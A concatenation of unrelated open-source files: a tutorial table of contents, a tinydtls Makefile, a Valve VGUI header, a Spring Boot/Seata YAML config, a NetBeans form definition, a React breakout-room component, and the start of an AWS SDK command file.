* [Step 2: 高级Badge](http://ideabook.phodal.com/#step-2-高级badge)
* [微信文章编辑器](http://ideabook.phodal.com/#微信文章编辑器)
* [概况](http://ideabook.phodal.com/#概况-3)
* [背景](http://ideabook.phodal.com/#背景-3)
* [ShowCase](http://ideabook.phodal.com/#showcase-3)
* [CKEditor + Ractive](http://ideabook.phodal.com/#ckeditor-ractive)
* [步骤](http://ideabook.phodal.com/#步骤-3)
* [Step 1: hello,world](http://ideabook.phodal.com/#step-1-helloworld)
* [Step 2: Require.js模块化](http://ideabook.phodal.com/#step-2-require.js模块化)
* [Step 3: 初始化](http://ideabook.phodal.com/#step-3-初始化)
* [Step 4: 创建对应的View](http://ideabook.phodal.com/#step-4-创建对应的view)
* [练习建议](http://ideabook.phodal.com/#练习建议-2)
* [JavaScript制作Slide框架](http://ideabook.phodal.com/#javascript制作slide框架)
* [概况](http://ideabook.phodal.com/#概况-4)
* [背景](http://ideabook.phodal.com/#背景-4)
* [Showcase](http://ideabook.phodal.com/#showcase-4)
* [需求](http://ideabook.phodal.com/#需求)
* [步骤](http://ideabook.phodal.com/#步骤-4)
* [Step 1: 基本的Slide功能](http://ideabook.phodal.com/#step-1-基本的slide功能)
* [Step 2: 解析Markdown](http://ideabook.phodal.com/#step-2-解析markdown)
* [Step 3: 事件处理](http://ideabook.phodal.com/#step-3-事件处理)
* [Step 4: 解析字幕](http://ideabook.phodal.com/#step-4-解析字幕)
* [Step 5: 进度条](http://ideabook.phodal.com/#step-5-进度条)
* [Step 6: 同步](http://ideabook.phodal.com/#step-6-同步)
* [练习建议](http://ideabook.phodal.com/#练习建议-3)
* [编辑-发布-分离的博客系统](http://ideabook.phodal.com/#编辑-发布-分离的博客系统)
* [概况](http://ideabook.phodal.com/#概况-5)
* [背景: 编辑-发布-开发分离](http://ideabook.phodal.com/#背景-编辑-发布-开发分离)
* [用户场景](http://ideabook.phodal.com/#用户场景)
* [步骤](http://ideabook.phodal.com/#步骤-5)
* [Step 1: 构建工具](http://ideabook.phodal.com/#step-1-构建工具)
* [Step 2: 静态页面生成](http://ideabook.phodal.com/#step-2-静态页面生成)
* [Solr实现多边形地理搜索](http://ideabook.phodal.com/#solr实现多边形地理搜索)
* [概况](http://ideabook.phodal.com/#概况-6)
* [背景](http://ideabook.phodal.com/#背景-5)
* [Showcase](http://ideabook.phodal.com/#showcase-5)
* [Solr](http://ideabook.phodal.com/#solr)
* [步骤](http://ideabook.phodal.com/#步骤-6)
* [Step 1: Solr Flask](http://ideabook.phodal.com/#step-1-solr-flask)
* [Step 2: Google map Polygon](http://ideabook.phodal.com/#step-2-google-map-polygon)
* [一份代码打造跨平台应用](http://ideabook.phodal.com/#一份代码打造跨平台应用)
* [概况](http://ideabook.phodal.com/#概况-7)
* [背景](http://ideabook.phodal.com/#背景-6)
* [ShowCase](http://ideabook.phodal.com/#showcase-6)
* [Ionic & Electron & Cordova](http://ideabook.phodal.com/#ionic-electron-cordova)
* [步骤](http://ideabook.phodal.com/#步骤-7)
* [Step 1: 从Web到混合应用,再到桌面应用](http://ideabook.phodal.com/#step-1-从web到混合应用再到桌面应用)
* [Step 2: 响应式设计](http://ideabook.phodal.com/#step-2-响应式设计)
* [Step 3: 平台特定代码](http://ideabook.phodal.com/#step-3-平台特定代码)
* [未来](http://ideabook.phodal.com/#未来)
* [Ionic与ElasticSearch打造O2O应用](http://ideabook.phodal.com/#ionic与elasticsearch打造o2o应用)
* [概况](http://ideabook.phodal.com/#概况-8)
* [背景](http://ideabook.phodal.com/#背景-7)
* [Showcase](http://ideabook.phodal.com/#showcase-7)
* [构架设计](http://ideabook.phodal.com/#构架设计)
* [步骤](http://ideabook.phodal.com/#步骤-8)
* [Step 1: Django GIS 设置](http://ideabook.phodal.com/#step-1-django-gis-设置)
* [Step 2: 配置Haystack](http://ideabook.phodal.com/#step-2-配置haystack)
* [Step 3: Django Haystack Model创建](http://ideabook.phodal.com/#step-3-django-haystack-model创建)
* [Step 4: 创建search_index](http://ideabook.phodal.com/#step-4-创建search_index)
* [Step 4: Ionic ElasticSearch 创建页面](http://ideabook.phodal.com/#step-4-ionic-elasticsearch-创建页面)
* [Step 5: Ionic ElasticSearch Service](http://ideabook.phodal.com/#step-5-ionic-elasticsearch-service)
* [Step 6: Ionic OpenLayer 地图显示](http://ideabook.phodal.com/#step-6-ionic-openlayer-地图显示)
* [一步步搭建JavaScript框架](http://ideabook.phodal.com/#一步步搭建javascript框架)
* [概况](http://ideabook.phodal.com/#概况-9)
* [背景](http://ideabook.phodal.com/#背景-8)
* [步骤](http://ideabook.phodal.com/#步骤-9)
* [Step 1: 注册npm和bower包](http://ideabook.phodal.com/#step-1-注册npm和bower包)
* [Step 2: 生成Javascript项目框架](http://ideabook.phodal.com/#step-2-生成javascript项目框架)
* [Step 3: 寻找所需要的函数](http://ideabook.phodal.com/#step-3-寻找所需要的函数)
* [Step 4: 整合](http://ideabook.phodal.com/#step-4-整合)
* [Step 5: 测试](http://ideabook.phodal.com/#step-5-测试)
* [练习建议](http://ideabook.phodal.com/#练习建议-4)
* [制作简易Mac OS上的伪锁屏工具](http://ideabook.phodal.com/#制作简易mac-os上的伪锁屏工具)
* [概况](http://ideabook.phodal.com/#概况-10)
* [背景](http://ideabook.phodal.com/#背景-9)
* [步骤](http://ideabook.phodal.com/#步骤-10)
* [Step 1:屏幕截图](http://ideabook.phodal.com/#step-1屏幕截图)
* [Step 2:调节亮度](http://ideabook.phodal.com/#step-2调节亮度)
* [Step 3:全屏图片](http://ideabook.phodal.com/#step-3全屏图片)
* [基于Virtual DOM的测试代码生成](http://ideabook.phodal.com/#基于virtual-dom的测试代码生成)
* [概况](http://ideabook.phodal.com/#概况-11)
* [背景](http://ideabook.phodal.com/#背景-10)
* [ShowCase](http://ideabook.phodal.com/#showcase-8)
* [基本原理](http://ideabook.phodal.com/#基本原理)
* [步骤](http://ideabook.phodal.com/#步骤-11)
* [Step 1: Virtual-dom与HyperScript](http://ideabook.phodal.com/#step-1-virtual-dom与hyperscript)
* [Step 2: 标记DOM变化](http://ideabook.phodal.com/#step-2-标记dom变化)
* [基于Backbone的单页面移动应用](http://ideabook.phodal.com/#基于backbone的单页面移动应用)
* [概况](http://ideabook.phodal.com/#概况-12)
* [背景](http://ideabook.phodal.com/#背景-11)
* [Showcase](http://ideabook.phodal.com/#showcase-9)
* [jQuery + Backbone + UnderScore + Require.JS](http://ideabook.phodal.com/#jquery-backbone-underscore-require.js)
* [步骤](http://ideabook.phodal.com/#步骤-12)
* [Step 1: 使用Require.js管理依赖](http://ideabook.phodal.com/#step-1-使用require.js管理依赖)
* [Step 2: 添加路由](http://ideabook.phodal.com/#step-2-添加路由)
* [Step 3: 创建主页View](http://ideabook.phodal.com/#step-3-创建主页view)
* [Step 4: jQuery Sidr](http://ideabook.phodal.com/#step-4-jquery-sidr)
* [Step 5: Django Tastypie示例](http://ideabook.phodal.com/#step-5-django-tastypie示例)
* [Step 6: RequireJS Plugins](http://ideabook.phodal.com/#step-6-requirejs-plugins)
* [Step 6: 简单的博客](http://ideabook.phodal.com/#step-6-简单的博客)
* [Step 7: 重构](http://ideabook.phodal.com/#step-7-重构)
* [Step 8: 移动CMS滑动](http://ideabook.phodal.com/#step-8-移动cms滑动)
* [Oculus + Node.js + Three.js 打造VR世界](http://ideabook.phodal.com/#oculus-node.js-three.js-打造vr世界)
* [概况](http://ideabook.phodal.com/#概况-13)
* [背景](http://ideabook.phodal.com/#背景-12)
* [Showcase](http://ideabook.phodal.com/#showcase-10)
* [框架: Oculus Rift & Node NMD](http://ideabook.phodal.com/#框架-oculus-rift-node-nmd)
* [步骤](http://ideabook.phodal.com/#步骤-13)
* [Step 1: Node Oculus Services](http://ideabook.phodal.com/#step-1-node-oculus-services)
* [Step 2: Node.js Oculus Hello,World](http://ideabook.phodal.com/#step-2-node.js-oculus-helloworld)
* [Step 3: Node Oculus WebSocket](http://ideabook.phodal.com/#step-3-node-oculus-websocket)
* [Step 4: Oculus Effect + DK2 Control](http://ideabook.phodal.com/#step-4-oculus-effect-dk2-control)
* [Step 5: Three.js KeyHandler](http://ideabook.phodal.com/#step-5-three.js-keyhandler)
* [练习建议](http://ideabook.phodal.com/#练习建议-5)
* [手动制作照片地图](http://ideabook.phodal.com/#手动制作照片地图)
* [概况](http://ideabook.phodal.com/#概况-14)
* [Background:把照片放在地图上](http://ideabook.phodal.com/#background把照片放在地图上)
* [Showcase](http://ideabook.phodal.com/#showcase-11)
* [框架: EXIF & ExifRead & CartoDB](http://ideabook.phodal.com/#框架-exif-exifread-cartodb)
* [步骤](http://ideabook.phodal.com/#步骤-14)
* [Step 1: 解析读取照片信息](http://ideabook.phodal.com/#step-1-解析读取照片信息)
* [Step 2: 上传数据](http://ideabook.phodal.com/#step-2-上传数据)
* [练习建议](http://ideabook.phodal.com/#练习建议-6)
* [D3.js打造技能树](http://ideabook.phodal.com/#d3.js打造技能树)
* [概况](http://ideabook.phodal.com/#概况-15)
* [背景](http://ideabook.phodal.com/#背景-13)
* [Showcase](http://ideabook.phodal.com/#showcase-12)
* [Graphviz](http://ideabook.phodal.com/#graphviz)
* [步骤](http://ideabook.phodal.com/#步骤-15)
* [Step 1: 打造简单的技能树](http://ideabook.phodal.com/#step-1-打造简单的技能树)
* [Step 3: D3.js Tooltipster](http://ideabook.phodal.com/#step-3-d3.js-tooltipster)
* [技术雷达趋势](http://ideabook.phodal.com/#技术雷达趋势)
* [概况](http://ideabook.phodal.com/#概况-16)
* [背景](http://ideabook.phodal.com/#背景-14)
* [Showcase](http://ideabook.phodal.com/#showcase-13)
* [D3.js](http://ideabook.phodal.com/#d3.js)
* [步骤](http://ideabook.phodal.com/#步骤-16)
* [Step 1: Schema与原始代码](http://ideabook.phodal.com/#step-1-schema与原始代码)
* [Step 2: 处理数据](http://ideabook.phodal.com/#step-2-处理数据)
* [文本转Logo](http://ideabook.phodal.com/#文本转logo)
* [概况](http://ideabook.phodal.com/#概况-17)
* [背景](http://ideabook.phodal.com/#背景-15)
* [ShowCase](http://ideabook.phodal.com/#showcase-14)
* [需求说明](http://ideabook.phodal.com/#需求说明)
* [步骤](http://ideabook.phodal.com/#步骤-17)
* [Step 1: Python 文字转Logo实战](http://ideabook.phodal.com/#step-1-python-文字转logo实战)
* [GeoJSON与ElasticSearch实现高级图形搜索](http://ideabook.phodal.com/#geojson与elasticsearch实现高级图形搜索)
* [概况](http://ideabook.phodal.com/#概况-18)
* [Showcase](http://ideabook.phodal.com/#showcase-15)
* [jQuery + Mustache + Leaflet](http://ideabook.phodal.com/#jquery-mustache-leaflet)
* [步骤](http://ideabook.phodal.com/#步骤-18)
* [Step 1: 离线地图与搜索](http://ideabook.phodal.com/#step-1-离线地图与搜索)
* [Step 2: 从地点到地图上显示](http://ideabook.phodal.com/#step-2-从地点到地图上显示)
* [Step 3: 从地图到地点上显示](http://ideabook.phodal.com/#step-3-从地图到地点上显示)
License
---
[](https://www.phodal.com/) [](http://ideas.phodal.com/)
© 2016 [Phodal Huang](https://www.phodal.com). This code is distributed under the Creative Commons Attribution-Noncommercial-No Derivative Works 3.0 License. See `LICENSE` in this directory.
[](http://www.xuntayizhan.com/person/ji-ke-ai-qing-zhi-er-shi-dai-wo-dai-ma-bian-cheng-qu-ni-wei-qi-ke-hao-wan/)
|
{
"pile_set_name": "Github"
}
|
# Makefile for tinydtls
#
# Copyright (C) 2011--2014 Olaf Bergmann <bergmann@tzi.org>
#
# Permission is hereby granted, free of charge, to any person
# obtaining a copy of this software and associated documentation
# files (the "Software"), to deal in the Software without
# restriction, including without limitation the rights to use, copy,
# modify, merge, publish, distribute, sublicense, and/or sell copies
# of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be
# included in all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
# the library's version
VERSION:=@PACKAGE_VERSION@
# tools
@SET_MAKE@
SHELL = /bin/sh
MKDIR = mkdir
ETAGS = @ETAGS@
prefix = @prefix@
exec_prefix = @exec_prefix@
abs_builddir = @abs_builddir@
top_builddir = @top_builddir@
libdir = @libdir@
includedir = @includedir@/@PACKAGE_NAME@
package = @PACKAGE_TARNAME@-@PACKAGE_VERSION@
install := cp
# files and flags
SOURCES:= dtls.c crypto.c ccm.c hmac.c netq.c peer.c dtls_time.c session.c
ifneq ("@NDEBUG@", "1")
SOURCES += debug.c
endif
SUB_OBJECTS:=aes/rijndael.o @OPT_OBJS@
OBJECTS:= $(patsubst %.c, %.o, $(SOURCES)) $(SUB_OBJECTS)
HEADERS:=dtls.h hmac.h debug.h dtls_config.h uthash.h numeric.h crypto.h global.h ccm.h \
netq.h t_list.h alert.h utlist.h prng.h peer.h state.h dtls_time.h session.h \
tinydtls.h
CFLAGS:=-Wall -pedantic -std=c99 @CFLAGS@
CPPFLAGS:=@CPPFLAGS@ -DDTLS_CHECK_CONTENTTYPE
SUBDIRS:=tests platform-specific sha2 aes ecc
DISTSUBDIRS:=$(SUBDIRS) examples/contiki
DISTDIR=$(top_builddir)/$(package)
FILES:=Makefile.in configure configure.in dtls_config.h.in tinydtls.h.in \
Makefile.tinydtls $(SOURCES) $(HEADERS)
LIB:=libtinydtls.a
LDFLAGS:=@LIBS@
ARFLAGS:=cru
doc:=doc
.PHONY: all dirs clean install dist distclean .gitignore doc TAGS
ifneq ("@WITH_CONTIKI@", "1")
.SUFFIXES:
.SUFFIXES: .c .o
all: $(LIB) dirs
check:
echo DISTDIR: $(DISTDIR)
echo top_builddir: $(top_builddir)
$(MAKE) -C tests check
dirs: $(SUBDIRS)
for dir in $^; do \
$(MAKE) -C $$dir ; \
done
$(SUB_OBJECTS)::
$(MAKE) -C $(@D) $(@F)
$(LIB): $(OBJECTS)
$(AR) $(ARFLAGS) $@ $^
ranlib $@
clean:
@rm -f $(PROGRAM) main.o $(LIB) $(OBJECTS)
for dir in $(SUBDIRS); do \
$(MAKE) -C $$dir clean ; \
done
else # WITH_CONTIKI
all:
$(MAKE) -C examples/contiki $@
endif # WITH_CONTIKI
doc:
$(MAKE) -C doc
distclean: clean
@rm -rf $(DISTDIR)
@rm -f *~ $(DISTDIR).tar.gz
dist: $(FILES) $(DISTSUBDIRS)
test -d $(DISTDIR) || mkdir $(DISTDIR)
cp $(FILES) $(DISTDIR)
for dir in $(DISTSUBDIRS); do \
$(MAKE) -C $$dir dist; \
done
tar czf $(package).tar.gz $(DISTDIR)
install: $(LIB) $(HEADERS) $(SUBDIRS)
test -d $(libdir) || mkdir -p $(libdir)
test -d $(includedir) || mkdir -p $(includedir)
$(install) $(LIB) $(libdir)/
$(install) $(HEADERS) $(includedir)/
for dir in $(SUBDIRS); do \
$(MAKE) -C $$dir install="$(install)" includedir=$(includedir) install; \
done
TAGS:
$(ETAGS) -o $@.new $(SOURCES)
$(ETAGS) -a -o $@.new $(HEADERS)
mv $@.new $@
# files that should be ignored by git
GITIGNOREDS:= core \*~ \*.[oa] \*.gz \*.cap \*.pcap Makefile \
autom4te.cache/ config.h config.log config.status configure \
doc/Doxyfile doc/doxygen.out doc/html/ $(LIB) tests/ccm-test \
tests/dtls-client tests/dtls-server tests/prf-test $(package) \
$(DISTDIR)/ TAGS \*.patch .gitignore ecc/testecc ecc/testfield \
\*.d \*.hex \*.elf \*.map obj_\* tinydtls.h dtls_config.h \
$(addprefix \*., $(notdir $(wildcard ../../platform/*))) \
.project
.gitignore:
echo $(GITIGNOREDS) | sed 's/ /\n/g' > $@
|
{
"pile_set_name": "Github"
}
|
//========= Copyright © 1996-2002, Valve LLC, All rights reserved. ============
//
// Purpose:
//
// $NoKeywords: $
//=============================================================================
#ifndef VGUI_H
#define VGUI_H
//If you are going to add stuff to the vgui core...
//
//Keep it simple.
//
//Never put code in a header.
//
//The name of the class is the name of the the file
//
//Each class gets its own .cpp file for its definition and a .h for its header. Helper
//classes can be used but only within the .cpp and not referenceable from anywhere else.
//
//Don't add unneeded files. Keep the API clean.
//
//No platform specific code in vgui\lib-src\vgui dir. Code in vgui\lib-src\vgui should
//only include from vgui\include or standard C includes. ie, if I see windows.h included
//anywhere but vgui\lib-src\win32 I will hunt you down and kill you. Don't give me any crap
//that mfc is platform inspecific.
//
//Always use <> and not "" for includes
//
//Use minimum dependencies in headers. Don't include another header if you can get away
//with forward declaring (which is usually the case)
//
//No macros in headers. They are tools of satan. This also means no use of DEFINEs, use enum
//
//Minimize global functions
//
//No global variables.
//
//Panel is getting pretty plump, try and avoid adding junk to it if you can
//TODO: Look and Feel support
// add Panel::setPaintProxy, if _paintProxy exists, it calls _paintProxy->paint
// instead of Panel::paint. Components should implement their painting in a seperate
// plugin class. Perhaps to encourage this, Panel::paint should just go away completely
// The other option is to have Panel have the interface Paintable
// class Paintable
// {
// public:
// virtual void paint()=0;
// };
// Then a component can implement its paint in the class itself and then call
// setPaintProxy(this). If this is the case _paintProxy->paint should always be called
// and never Panel::paint from within paintTraverse
//TODO: Figure out the 'Valve' Look and Feel and implement that instead of a the Java one
//TODO: Determine ownership policy for Borders, Layouts, etc..
//TODO: tooltips support
//TODO: ComboKey (hot key support)
//TODO: add Background.cpp, remove paintBackground from all components
// Panel implements setBackground, Panel::paintBackground calls _background->paintBackground
// similiar to the way Border works.
//TODO: Builtin components should never overide paintBackground, only paint
//TODO: All protected members should be converted to private
//TODO: All member variables should be moved to the top of the class prototype
//TODO: All private methods should be prepended with private
//TODO: Use of word internal in method names is not consistent and confusing
//TODO: Cleanup so bullshit publics are properly named, maybe even figure out
// a naming convention for them
//TODO: Breakup InputSignal into logical pieces
//TODO: Button is in a state of disarray, it should have ButtonModel support
//TODO: get rid of all the stupid strdup laziness, convert to vgui_strdup
//TODO: actually figure out policy on String and implement it consistently
//TODO: implement createLayoutInfo for other Layouts than need it
//TODO: BorderLayout should have option for a null LayoutInfo defaulting to center
//TODO: SurfaceBase should go away, put it in Surface
//TODO: ActionSignals and other Signals should just set a flag when they fire.
// then App can come along later and fire all the signals
//TODO: Change all method naming to starting with a capital letter.
#ifdef _WIN32
# define VGUIAPI __declspec( dllexport )
#else
# define VGUIAPI __attribute__ ((visibility("default")))
#include <sys/types.h> // size_t define
#endif
#define null 0L
typedef unsigned char uchar;
typedef unsigned short ushort;
typedef unsigned int uint;
typedef unsigned long ulong;
namespace vgui
{
VGUIAPI void vgui_setMalloc(void *(*malloc)(size_t size) );
VGUIAPI void vgui_setFree(void (*free)(void* memblock));
VGUIAPI void vgui_strcpy(char* dst,int dstLen,const char* src);
VGUIAPI char* vgui_strdup(const char* src);
VGUIAPI int vgui_printf(const char* format,...);
VGUIAPI int vgui_dprintf(const char* format,...);
VGUIAPI int vgui_dprintf2(const char* format,...);
}
#endif
|
{
"pile_set_name": "Github"
}
|
spring:
cloud:
alibaba:
seata:
tx-service-group: fbs_tx_group
application:
#应用名称
name: seata-one
#数据库连接配置
datasource:
#配置当前使用的数据源的操作类型
type: com.alibaba.druid.pool.DruidDataSource
#配置MySQL的驱动程序类
driver-class-name: com.mysql.cj.jdbc.Driver
#数据库连接地址
url: jdbc:mysql://localhost:3306/seata-rm-one?characterEncoding=UTF-8&serverTimezone=Asia/Shanghai
#数据库连接用户名
username: root
#数据库连接密码
password: root
#进行数据库连接池的配置
dbcp2:
#初始化提供的连接数
initial-size: 5
#数据库连接池的最小维持连接数
min-idle: 5
#最大的连接数
max-total: 5
#等待连接获取的最大超时时间
max-wait-millis: 200
validation-query: SELECT 1
test-while-idle: true
test-on-borrow: false
test-on-return: false
#mybatis配置
mybatis:
#mybatis配置文件所在路径
config-location: classpath:mybatis/mybatis.cfg.xml
#定义所有操作类的别名所在包
type-aliases-package: com.online.taxi.one
#所有的mapper映射文件
mapper-locations:
- classpath:mybatis/mapper/*.xml
#注册中心
eureka:
# server:
# enable-self-preservation: false #关闭保护机制
# eviction-interval-timer-in-ms: 2000 #剔除失效服务间隔,单位毫秒
client:
healthcheck:
enabled: true
#设置服务注册中心的URL
service-url:
defaultZone: http://root:root@eureka-7900:7900/eureka/
instance:
virtual-host-name: seata-one
#服务刷新时间配置,每隔这个时间会主动心跳一次
lease-renewal-interval-in-seconds: 1
#服务过期时间配置,超过这个时间没有接收到心跳EurekaServer就会将这个实例剔除
lease-expiration-duration-in-seconds: 1
metadata-map:
user.name: root
user.password: root
#Admin监控
management:
endpoints:
web:
exposure:
include: "*"
endpoint:
health:
show-details: ALWAYS
logging:
level:
root: info
org.springframework.web.servlet: debug
server:
#服务端口
port: 8001
|
{
"pile_set_name": "Github"
}
|
<?xml version="1.0" encoding="UTF-8" ?>
<Form version="1.3" maxVersion="1.9" type="org.netbeans.modules.form.forminfo.JFrameFormInfo">
<Properties>
<Property name="defaultCloseOperation" type="int" value="2"/>
<Property name="title" type="java.lang.String" value="OSC Input Status"/>
</Properties>
<SyntheticProperties>
<SyntheticProperty name="formSizePolicy" type="int" value="1"/>
<SyntheticProperty name="generateCenter" type="boolean" value="false"/>
</SyntheticProperties>
<AuxValues>
<AuxValue name="FormSettings_autoResourcing" type="java.lang.Integer" value="0"/>
<AuxValue name="FormSettings_autoSetComponentName" type="java.lang.Boolean" value="false"/>
<AuxValue name="FormSettings_generateFQN" type="java.lang.Boolean" value="true"/>
<AuxValue name="FormSettings_generateMnemonicsCode" type="java.lang.Boolean" value="false"/>
<AuxValue name="FormSettings_i18nAutoMode" type="java.lang.Boolean" value="false"/>
<AuxValue name="FormSettings_layoutCodeTarget" type="java.lang.Integer" value="1"/>
<AuxValue name="FormSettings_listenerGenerationStyle" type="java.lang.Integer" value="0"/>
<AuxValue name="FormSettings_variablesLocal" type="java.lang.Boolean" value="false"/>
<AuxValue name="FormSettings_variablesModifier" type="java.lang.Integer" value="2"/>
</AuxValues>
<Layout>
<DimensionLayout dim="0">
<Group type="103" groupAlignment="0" attributes="0">
<EmptySpace min="0" pref="416" max="32767" attributes="0"/>
<Group type="103" rootIndex="1" groupAlignment="0" attributes="0">
<Component id="jPanel2" alignment="1" max="32767" attributes="0"/>
</Group>
</Group>
</DimensionLayout>
<DimensionLayout dim="1">
<Group type="103" groupAlignment="0" attributes="0">
<EmptySpace min="0" pref="97" max="32767" attributes="0"/>
<Group type="103" rootIndex="1" groupAlignment="0" attributes="0">
<Component id="jPanel2" alignment="0" max="32767" attributes="0"/>
</Group>
</Group>
</DimensionLayout>
</Layout>
<SubComponents>
<Container class="javax.swing.JPanel" name="jPanel2">
<Properties>
<Property name="background" type="java.awt.Color" editor="org.netbeans.beaninfo.editors.ColorEditor">
<Color blue="ff" green="ff" red="ff" type="rgb"/>
</Property>
</Properties>
<Layout>
<DimensionLayout dim="0">
<Group type="103" groupAlignment="0" attributes="0">
<Group type="102" alignment="0" attributes="0">
<EmptySpace min="-2" pref="10" max="-2" attributes="0"/>
<Group type="103" groupAlignment="0" attributes="0">
<Component id="buttonOscListen" alignment="0" min="-2" max="-2" attributes="0"/>
<Group type="102" attributes="0">
<Component id="jLabel2" min="-2" max="-2" attributes="0"/>
<EmptySpace max="-2" attributes="0"/>
<Component id="labelOscStatus" min="-2" pref="351" max="-2" attributes="0"/>
</Group>
<Group type="102" attributes="0">
<Component id="jLabel1" min="-2" max="-2" attributes="0"/>
<EmptySpace max="-2" attributes="0"/>
<Component id="fieldOscPort" max="32767" attributes="0"/>
</Group>
</Group>
<EmptySpace max="-2" attributes="0"/>
</Group>
</Group>
</DimensionLayout>
<DimensionLayout dim="1">
<Group type="103" groupAlignment="0" attributes="0">
<Group type="102" alignment="0" attributes="0">
<EmptySpace max="-2" attributes="0"/>
<Group type="103" groupAlignment="3" attributes="0">
<Component id="jLabel2" alignment="3" min="-2" max="-2" attributes="0"/>
<Component id="labelOscStatus" alignment="3" min="-2" max="-2" attributes="0"/>
</Group>
<EmptySpace max="-2" attributes="0"/>
<Group type="103" groupAlignment="3" attributes="0">
<Component id="jLabel1" alignment="3" min="-2" max="-2" attributes="0"/>
<Component id="fieldOscPort" alignment="3" min="-2" max="-2" attributes="0"/>
</Group>
<EmptySpace max="-2" attributes="0"/>
<Component id="buttonOscListen" min="-2" max="-2" attributes="0"/>
<EmptySpace max="32767" attributes="0"/>
</Group>
</Group>
</DimensionLayout>
</Layout>
<SubComponents>
<Component class="javax.swing.JLabel" name="jLabel1">
<Properties>
<Property name="text" type="java.lang.String" value="Wekinator listening for inputs and control on port:"/>
</Properties>
</Component>
<Component class="javax.swing.JTextField" name="fieldOscPort">
<Properties>
<Property name="text" type="java.lang.String" value="6448"/>
</Properties>
<Events>
<EventHandler event="actionPerformed" listener="java.awt.event.ActionListener" parameters="java.awt.event.ActionEvent" handler="fieldOscPortActionPerformed"/>
<EventHandler event="keyTyped" listener="java.awt.event.KeyListener" parameters="java.awt.event.KeyEvent" handler="fieldOscPortKeyTyped"/>
</Events>
</Component>
<Component class="javax.swing.JLabel" name="jLabel2">
<Properties>
<Property name="text" type="java.lang.String" value="Status:"/>
</Properties>
</Component>
<Component class="javax.swing.JButton" name="buttonOscListen">
<Properties>
<Property name="text" type="java.lang.String" value="Start listening"/>
</Properties>
<Events>
<EventHandler event="actionPerformed" listener="java.awt.event.ActionListener" parameters="java.awt.event.ActionEvent" handler="buttonOscListenActionPerformed"/>
</Events>
</Component>
<Component class="javax.swing.JLabel" name="labelOscStatus">
<Properties>
<Property name="text" type="java.lang.String" value="Not connected"/>
</Properties>
</Component>
</SubComponents>
</Container>
</SubComponents>
</Form>
|
{
"pile_set_name": "Github"
}
|
import React, { Component } from 'react';
import PropTypes from 'prop-types';
import { Session } from 'meteor/session';
import { withModalMounter } from '/imports/ui/components/modal/service';
import BreakoutJoinConfirmation from '/imports/ui/components/breakout-join-confirmation/container';
const BREAKOUT_MODAL_DELAY = 200;
const propTypes = {
mountModal: PropTypes.func.isRequired,
currentBreakoutUser: PropTypes.shape({
insertedTime: PropTypes.number.isRequired,
}),
getBreakoutByUser: PropTypes.func.isRequired,
breakoutUserIsIn: PropTypes.shape({
sequence: PropTypes.number.isRequired,
}),
breakouts: PropTypes.arrayOf(PropTypes.shape({
freeJoin: PropTypes.bool.isRequired,
})),
};
const defaultProps = {
currentBreakoutUser: undefined,
breakoutUserIsIn: undefined,
breakouts: [],
};
const openBreakoutJoinConfirmation = (breakout, breakoutName, mountModal) => mountModal(
<BreakoutJoinConfirmation
breakout={breakout}
breakoutName={breakoutName}
/>,
);
const closeBreakoutJoinConfirmation = mountModal => mountModal(null);
class BreakoutRoomInvitation extends Component {
constructor(props) {
super(props);
this.state = {
didSendBreakoutInvite: false,
};
}
componentDidMount() {
// use dummy old data on mount so it works if no data changes
this.checkBreakouts({ breakouts: [] });
}
componentDidUpdate(oldProps) {
this.checkBreakouts(oldProps);
}
checkBreakouts(oldProps) {
const {
breakouts,
mountModal,
currentBreakoutUser,
getBreakoutByUser,
breakoutUserIsIn,
amIModerator,
} = this.props;
const {
didSendBreakoutInvite,
} = this.state;
const hadBreakouts = oldProps.breakouts.length > 0;
const hasBreakouts = breakouts.length > 0;
if (!hasBreakouts && hadBreakouts) {
closeBreakoutJoinConfirmation(mountModal);
}
if (hasBreakouts && !breakoutUserIsIn && !amIModerator) {
// Have to check for freeJoin breakouts first because currentBreakoutUser will
// populate after a room has been joined
const breakoutRoom = getBreakoutByUser(currentBreakoutUser);
const freeJoinBreakout = breakouts.find(breakout => breakout.freeJoin);
if (freeJoinBreakout) {
if (!didSendBreakoutInvite) {
this.inviteUserToBreakout(breakoutRoom || freeJoinBreakout);
this.setState({ didSendBreakoutInvite: true });
}
} else if (currentBreakoutUser) {
const currentInsertedTime = currentBreakoutUser.insertedTime;
const oldCurrentUser = oldProps.currentBreakoutUser || {};
const oldInsertedTime = oldCurrentUser.insertedTime;
if (currentInsertedTime !== oldInsertedTime) {
const breakoutId = Session.get('lastBreakoutOpened');
if (breakoutRoom.breakoutId !== breakoutId) {
this.inviteUserToBreakout(breakoutRoom);
}
}
}
}
if (!hasBreakouts && didSendBreakoutInvite) {
this.setState({ didSendBreakoutInvite: false });
}
}
inviteUserToBreakout(breakout) {
const {
mountModal,
} = this.props;
// There's a race condition on page load with modals. Only one modal can be shown at a
// time and new ones overwrite old ones. We delay the opening of the breakout modal
// because it should always be on top if breakouts are running.
setTimeout(() => {
openBreakoutJoinConfirmation.call(this, breakout, breakout.name, mountModal);
}, BREAKOUT_MODAL_DELAY);
}
render() {
return null;
}
}
BreakoutRoomInvitation.propTypes = propTypes;
BreakoutRoomInvitation.defaultProps = defaultProps;
export default withModalMounter(BreakoutRoomInvitation);
|
{
"pile_set_name": "Github"
}
|
import { Route53ResolverClientResolvedConfig, ServiceInputTypes, ServiceOutputTypes } from "../Route53ResolverClient";
import { DeleteResolverEndpointRequest, DeleteResolverEndpointResponse } from "../models/models_0";
import {
deserializeAws_json1_1DeleteResolverEndpointCommand,
serializeAws_json1_1DeleteResolverEndpointCommand,
} from "../protocols/Aws_json1_1";
import { getSerdePlugin } from "@aws-sdk/middleware-serde";
import { HttpRequest as __HttpRequest, HttpResponse as __HttpResponse } from "@aws-sdk/protocol-http";
import { Command as $Command } from "@aws-sdk/smithy-client";
import {
FinalizeHandlerArguments,
